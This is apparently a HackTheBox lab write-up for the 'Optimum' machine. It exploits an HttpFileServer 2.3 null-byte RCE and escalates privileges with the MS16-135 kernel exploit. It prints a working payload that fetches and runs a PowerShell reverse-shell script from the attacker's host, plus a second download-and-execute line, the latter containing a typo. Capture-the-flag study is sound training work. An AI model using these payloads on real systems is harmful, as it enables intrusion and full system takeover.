HackTheBox — Optimum
--
Hey guys, what’s going on, this is shellbreak and we’ll be doing optimum from Hackthebox which is rated as easy.
The Idea of the box is an HTTPFileServer that has a RCE vulnerability which we’ll be using to get a shell on the box, once we get a shell on the box, then for the privesc we’ll use a powershell script called Sherlock.ps1 to enumerate the box locally and get a root shell.
So, enough talking and let’s jump in.
As always we’ll start with nmap scanning:
nmap -sC -sV -oA nmap/optimum 10.10.10.8
As you can see we have one port open which is 80, and its banner is telling us that it’s HttpFileServer version 2.3.
After google’ing around, I found that this server has a RCE vulnerability,
check this URL to read more about it:
Web Enumeration:
The idea of the vulnerability is that the search feature in the app fails to handle null bytes.
The input in the search feature is filtered with a regex, so using a null byte we can terminate the regex string and then insert the command we want.
While google’ing for CVEs I saw that the server has a special scripting language (HFS scripting) using which we’ll execute our commands on the box.
See this page if you like to have an idea about the scripting language:
we’ll be using “exec” function to execute commands:
{.exec|command.}
Exploitation:
Using burp to intercept the request (after submitting our input inside search box)
Now since the box is 64-bit I’ll use a 64-bit powershell to upload my shell.
you can get the script that I’ll be using from this github repo:
I’m going to use Invoke-PowerShellTcp.ps1 script, but before that we have to edit the script and add to invoke the right function and add our ip address:
copy this line and add it to the end of the script:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 1234
Note: run python simple http server so you can download on the box.
the payload should look like:
%00{.exec|c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1.}
Now on burp:
Don’t forget to set your netcat listener on port 1234.
And we got a user shell:
Now let’s upload Sherlock script to enumerate the box and see if we’ll get anything.
you cat get the script from this repo:
Note: you need to invoke the function you want to execute in the end of sherlock script (In my case it’s Find-AllVulns).
Now download the script on the box:
And we can see that the server is vulnerable to MS16–135, so let’s get the exploit and see if it’s going to work.
Download the exploit from this URL:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-135/MS16-135.ps1
Now let’s download the script on the box:
IEX(Net-Object Net.WebClient).downloadString(‘http://10.10.14.34:8000/ms16–135.ps1’)
And indeed we got root on the box.
So, this is how we own root on Optimum box, I hope you guys enjoyed it and I’ll see you all in the next write-up.
